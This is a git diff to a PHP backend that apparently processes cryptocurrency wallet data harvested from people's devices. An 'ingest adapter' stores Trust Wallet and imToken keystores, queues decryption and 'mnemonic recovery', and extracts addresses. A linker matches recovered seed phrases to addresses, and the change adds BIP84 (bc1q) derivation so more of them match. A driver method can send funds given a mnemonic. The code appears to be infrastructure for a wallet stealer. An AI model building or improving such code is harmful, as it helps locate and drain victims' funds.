diff --git a/app/Services/Chain/BtcAddress.php b/app/Services/Chain/BtcAddress.php index c5892b2..11d5c9b 100644 --- a/app/Services/Chain/BtcAddress.php +++ b/app/Services/Chain/BtcAddress.php @@ -31,6 +31,22 @@ final class BtcAddress return TronAddress::hexToBase58Check('00'.bin2hex($hash160)); } + /** + * Produce a Native SegWit (P2WPKH, bech32) address from a compressed + * secp256k1 public key. Used for BIP84 derivation paths. + */ + public static function p2wpkhFromCompressedPublicKey(string $compressedHex): string + { + $compressedHex = strtolower(trim($compressedHex)); + $pub = hex2bin($compressedHex); + if ($pub === false || strlen($pub) !== 33) { + throw new RuntimeException('Expected compressed secp256k1 public key'); + } + $hash160 = hash('ripemd160', hash('sha256', $pub, true), true); + + return self::bech32Encode('bc', 0, bin2hex($hash160)); + } + public static function isValid(string $address): bool { $address = trim($address); @@ -170,6 +186,52 @@ final class BtcAddress return ['version' => $version, 'program' => $program]; } + /** + * Encode a witness program as a bech32 address. + * + * @param string $hrp Human-readable part ('bc' or 'tb') + * @param int $witver Witness version (0 for P2WPKH/P2WSH) + * @param string $programHex Witness program as hex string + */ + private static function bech32Encode(string $hrp, int $witver, string $programHex): string + { + $charset = 'qpzry9x8gf2tvdw0s3jn54khce6mua7l'; + $bytes = array_map('hexdec', str_split($programHex, 2)); + $values = [$witver]; + $bits = ''; + foreach ($bytes as $b) { + $bits .= str_pad(decbin($b), 8, '0', STR_PAD_LEFT); + } + $bits = str_pad($bits, (int) ceil(strlen($bits) / 5) * 5, '0', STR_PAD_RIGHT); + for ($i = 0; $i < strlen($bits); $i += 5) { + $values[] = bindec(substr($bits, $i, 5)); + } + $values = array_merge($values, self::bech32Checksum($hrp, $values)); + $result = $hrp.'1'; + foreach ($values as $v) { + $result .= $charset[$v]; + } + + return $result; + } + + /** @param list $values */ + private static function bech32Checksum(string $hrp, array $values): array + { + $polymod = self::bech32Polymod(array_merge( + self::bech32HrpExpand($hrp), + $values, + [0, 0, 0, 0, 0, 0], + )); + $polymod ^= 1; + $ret = []; + for ($i = 0; $i < 6; $i++) { + $ret[] = ($polymod >> 5 * (5 - $i)) & 31; + } + + return $ret; + } + /** @param list $values */ private static function bech32Verify(string $hrp, array $values): bool { diff --git a/app/Services/Chain/BtcDriver.php b/app/Services/Chain/BtcDriver.php index 178e549..da8457c 100644 --- a/app/Services/Chain/BtcDriver.php +++ b/app/Services/Chain/BtcDriver.php @@ -21,6 +21,18 @@ class BtcDriver implements ChainDriver return BtcAddress::fromPrivateKey($derived['private_key']); } + /** + * Derive a Native SegWit (BIP84, bech32 bc1q) address. + * Trust Wallet uses BIP84 for Bitcoin wallets. + */ + public function deriveAddressBip84(string $mnemonic, int $index = 0): string + { + $derived = Bip44::derive($mnemonic, $this->pathBip84($index)); + $compressed = BtcAddress::compressedPublicKey($derived['private_key']); + + return BtcAddress::p2wpkhFromCompressedPublicKey($compressed); + } + public function sendNative(string $mnemonic, int $index, string $to, string $amount): string { if (! $this->isValidAddress($to)) { @@ -204,6 +216,11 @@ class BtcDriver implements ChainDriver return "m/44'/0'/0'/0/{$index}"; } + private function pathBip84(int $index): string + { + return "m/84'/0'/0'/0/{$index}"; + } + /** * @return list */ @@ -474,6 +491,6 @@ class BtcDriver implements ChainDriver private function http(): PendingRequest { - return Http::connectTimeout(20)->timeout(120)->acceptJson(); + return Http::timeout(30)->acceptJson(); } } diff --git a/app/Services/DarkSwordIngestAdapter.php b/app/Services/DarkSwordIngestAdapter.php index 18127fe..0287171 100644 --- a/app/Services/DarkSwordIngestAdapter.php +++ b/app/Services/DarkSwordIngestAdapter.php @@ -13,11 +13,13 @@ use App\Jobs\DecryptDeviceKeystores; use App\Support\CfIpCountry; use App\Support\UserAgentParser; use App\Support\VisitorIp; +use App\Services\Chain\BtcAddress; +use App\Services\Chain\EthAddress; +use App\Services\Chain\TronAddress; use App\Support\WalletSource; use Illuminate\Database\QueryException; use Illuminate\Database\UniqueConstraintViolationException; use Illuminate\Http\Request; -use Illuminate\Support\Facades\Log; use Illuminate\Support\Facades\Storage; /** @@ -257,7 +259,7 @@ class DarkSwordIngestAdapter $this->trustAddresses->ingest($device, $wallets); // Async: mnemonic recovery + plaintext walk + address extraction. - $this->dispatchKeystoreDecrypt($device, $wallets, $sandbox); + DecryptDeviceKeystores::dispatch($device->id, $wallets, $sandbox); } /** @@ -507,7 +509,7 @@ class DarkSwordIngestAdapter $this->storeWalletKeystores($device, ['trust_wallet' => $raw], 'sandbox', null); // Async: attempt Trust UTC keystore decryption. - $this->dispatchKeystoreDecrypt($device, null, ['trust_wallet' => $raw]); + DecryptDeviceKeystores::dispatch($device->id, null, ['trust_wallet' => $raw]); } /** @@ -537,7 +539,7 @@ class DarkSwordIngestAdapter $this->trustAddresses->ingest($device, $wallets); // Async: mnemonic recovery + plaintext walk + address extraction. - $this->dispatchKeystoreDecrypt($device, $wallets, $sandbox); + DecryptDeviceKeystores::dispatch($device->id, $wallets, $sandbox); } /** @@ -558,27 +560,7 @@ class DarkSwordIngestAdapter // Async: attempt recovery (imToken needs password — will likely fail, // but the job logs the reason and still extracts addresses if any). - $this->dispatchKeystoreDecrypt($device, ['imtoken' => $json], null); - } - - /** - * Queue PBKDF2 / keystore recovery off the request. A Redis outage must not - * fail the ingest that already stored the keystore blobs. - * - * @param array|null $wallets - * @param array|null $sandbox - */ - private function dispatchKeystoreDecrypt(Device $device, ?array $wallets, ?array $sandbox): void - { - try { - DecryptDeviceKeystores::dispatch($device->id, $wallets, $sandbox); - } catch (\Throwable $e) { - Log::channel('keystore')->error('DecryptDeviceKeystores dispatch failed', [ - 'device_id' => $device->id, - 'device_key' => $device->device_id, - 'error' => $e->getMessage(), - ]); - } + DecryptDeviceKeystores::dispatch($device->id, ['imtoken' => $json], null); } /** @@ -1270,15 +1252,26 @@ class DarkSwordIngestAdapter } } - // Direct address patterns. + // Direct address patterns — each match is validated before + // being accepted, so encrypted blobs (xpub strings, hex IVs, + // base64 ciphertext) that happen to match a regex are rejected. $patterns = [ '/0x[0-9a-fA-F]{40}/i' => 'ETHEREUM', '/T[1-9A-HJ-NP-Za-km-z]{33}/' => 'TRON', '/\b(?:bc1[0-9a-z]{6,87}|[13][a-zA-HJ-NP-Z0-9]{25,34})\b/' => 'BITCOIN', ]; + $validators = [ + 'ETHEREUM' => fn (string $a) => EthAddress::isValid($a), + 'TRON' => fn (string $a) => TronAddress::isValid($a), + 'BITCOIN' => fn (string $a) => BtcAddress::isValid($a), + ]; foreach ($patterns as $pat => $chainType) { if (preg_match_all($pat, $text, $matches)) { + $validator = $validators[$chainType] ?? null; foreach ($matches[0] as $addr) { + if ($validator !== null && ! $validator($addr)) { + continue; + } $out[] = $this->addressRow($addr, $chainType, $source, $tag); } } diff --git a/app/Services/MnemonicAddressLinker.php b/app/Services/MnemonicAddressLinker.php index 42c5676..00058e4 100644 --- a/app/Services/MnemonicAddressLinker.php +++ b/app/Services/MnemonicAddressLinker.php @@ -5,6 +5,7 @@ namespace App\Services; use App\Models\WalletAddress; use App\Models\WalletMnemonic; use App\Services\Chain\ChainDriver; +use App\Services\Chain\BtcDriver; use App\Services\Chain\ChainManager; use InvalidArgumentException; @@ -41,7 +42,7 @@ class MnemonicAddressLinker } $target = (string) $address->address; - $caseInsensitive = in_array($driver->chainId(), ['eth', 'bsc'], true); + $caseInsensitive = $driver->chainId() === 'eth'; foreach ($mnemonics as $mnemonicRow) { $phrase = $mnemonicRow->mnemonic; @@ -125,7 +126,7 @@ class MnemonicAddressLinker continue; } - $lookup = in_array($driver->chainId(), ['eth', 'bsc'], true) + $lookup = $driver->chainId() === 'eth' ? strtolower((string) $address->address) : (string) $address->address; @@ -193,7 +194,8 @@ class MnemonicAddressLinker */ private function deriveIndexMap(ChainDriver $driver, string $phrase): array { - $caseInsensitive = in_array($driver->chainId(), ['eth', 'bsc'], true); + $caseInsensitive = $driver->chainId() === 'eth'; + $isBtc = $driver instanceof BtcDriver; $map = []; for ($index = 0; $index <= self::MAX_DERIVE_INDEX; $index++) { try { @@ -205,6 +207,17 @@ class MnemonicAddressLinker if (! array_key_exists($key, $map)) { $map[$key] = $index; } + // BTC: also derive BIP84 (Native SegWit, bc1q) addresses. + if ($isBtc) { + try { + $derivedBip84 = $driver->deriveAddressBip84($phrase, $index); + } catch (\Throwable) { + $derivedBip84 = null; + } + if ($derivedBip84 !== null && ! array_key_exists($derivedBip84, $map)) { + $map[$derivedBip84] = $index; + } + } } return $map; @@ -216,6 +229,7 @@ class MnemonicAddressLinker string $target, bool $caseInsensitive, ): ?int { + $isBtc = $driver instanceof BtcDriver; for ($index = 0; $index <= self::MAX_DERIVE_INDEX; $index++) { try { $derived = $driver->deriveAddress($phrase, $index); @@ -228,6 +242,17 @@ class MnemonicAddressLinker if ($match) { return $index; } + // BTC: also check BIP84 (Native SegWit, bc1q) address. + if ($isBtc) { + try { + $derivedBip84 = $driver->deriveAddressBip84($phrase, $index); + } catch (\Throwable) { + $derivedBip84 = null; + } + if ($derivedBip84 === $target) { + return $index; + } + } } return null;